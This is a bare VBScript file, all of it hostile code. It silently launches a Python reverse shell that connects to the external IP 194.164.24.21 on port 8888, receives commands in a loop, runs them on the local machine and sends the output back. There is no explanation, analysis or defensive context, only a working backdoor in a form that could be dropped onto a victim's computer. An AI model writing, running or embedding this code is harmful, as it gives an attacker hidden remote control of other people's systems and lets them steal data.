Set objShell = WScript.CreateObject("WScript.Shell") objShell.Run "cmd /c 'python -c "import socket, subprocess; server_address=('194.164.24.21', 8888); client_socket=socket.socket(socket.AF_INET, socket.SOCK_STREAM); client_socket.connect(server_address); print('Connected to server.'); exec('while True:\n\tcommand=client_socket.recv(1024).decode()\n\tif not command:\n\t\tbreak\n\tresult=subprocess.getoutput(command)\n\tclient_socket.send(result.encode())\nclient_socket.close()')"'", 0, True